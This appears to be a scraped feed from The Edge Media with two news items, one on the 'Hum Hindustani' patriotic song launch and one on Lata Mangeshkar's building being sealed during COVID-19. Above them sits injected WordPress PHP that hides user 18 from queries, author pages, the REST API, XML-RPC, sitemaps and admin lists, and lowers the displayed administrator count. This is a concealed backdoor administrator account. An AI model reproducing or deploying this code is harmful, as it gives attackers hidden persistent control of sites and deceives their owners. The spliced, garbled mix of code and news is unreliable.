add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post “Hum Hindustani” patriotic song is out now appeared first on The Edge Media.
]]>The anthem is a beautiful amalgamation of soulful lyrics, a melodious tune, and is sung by 15 legendary personalities from the Indian film fraternity, a feat that has been taken on for the first time ever. The song carries the much-required message in today’s trying times, of the country, uniting as one and spreading hope for a better tomorrow and faith via the powerful platform of music.
With 15 industry stalwarts uniting to lend their voices to the song, ‘Hum Hindustani’ promises to resonate with every Indian across the globe. Right from Lata Mangeshkar to Amitabh Bachchan, Padmini Kolhapure, Anil Agarwal, Sonu Nigam, Kailash Kher, Alka Yagnik, Shabbir Kumar, Shraddha Kapoor, Sonakshi Sinha, Shruti Hassan, Tara Sutaria, Ankit Tiwari, Siddhanth Kapoor, and Jannat Zubair, these phenomenal artists, musicians, and industry stalwarts have crooned to the song with aplomb along with Anil Agarwal, a philanthropist who was touched by the rendition.
Hum Hindustani’, which is supported by the Anil Agarwal foundation of the Vedanta Group promotes unity, a sense of patriotism, hope, and faith.
Speaking on the song launch, Padmini Kolhapure, the co-founder of Dhamaka Records said, “It gives me immense pleasure that my son Priyaank along with Paras Mehta is taking the Kolhapure music legacy forward through Dhamaka Records with his first track dedicated to all the frontline warriors across the world in these most trying and challenging times! All the legends from Ms. Lata Mangeshkar, to superstars like Amitabh Bachchan and today’s gen-next superstars, have come forward to support the first track! We are very We are very excited for it !”
Dilshaad Shabbir Shaikh is the music director of the patriotic song.
(ANI)
The post “Hum Hindustani” patriotic song is out now appeared first on The Edge Media.
]]>The post Lata Mangeshkar’s building sealed as a precautionary measure appeared first on The Edge Media.
]]>The Mangeshkar family, in a statement, said the building was sealed as it houses many senior citizens. “We have been inundated by calls all evening enquiring whether Prabhukunj is sealed. The building society and the BMC have sealed it from the onset of the epidemic as we have senior citizens at home and in the building and it is mandatory to take these precautions. “Even our usual festive Ganesha celebrations was a simple familial one this time to co-operate and support social distancing,” the statement read.
There were reports that some residents of the building had tested positive for COVID-19 but the family asked well-wishers to not indulge in any speculations. “Please do not react to any hearsay on the health of our family members especially. We, as a building society in unison, are taking utmost caution, care, and co-operating to ensure the well being and safety of all the senior citizens especially and all the other residing members as well. “By God’s grace and the wishes of so many, the family is safe,” the statement read.
On Saturday, coronavirus case tally in Maharashtra rose to 7,64,281 with record 16,867 new cases. — PTI
The post Lata Mangeshkar’s building sealed as a precautionary measure appeared first on The Edge Media.
]]>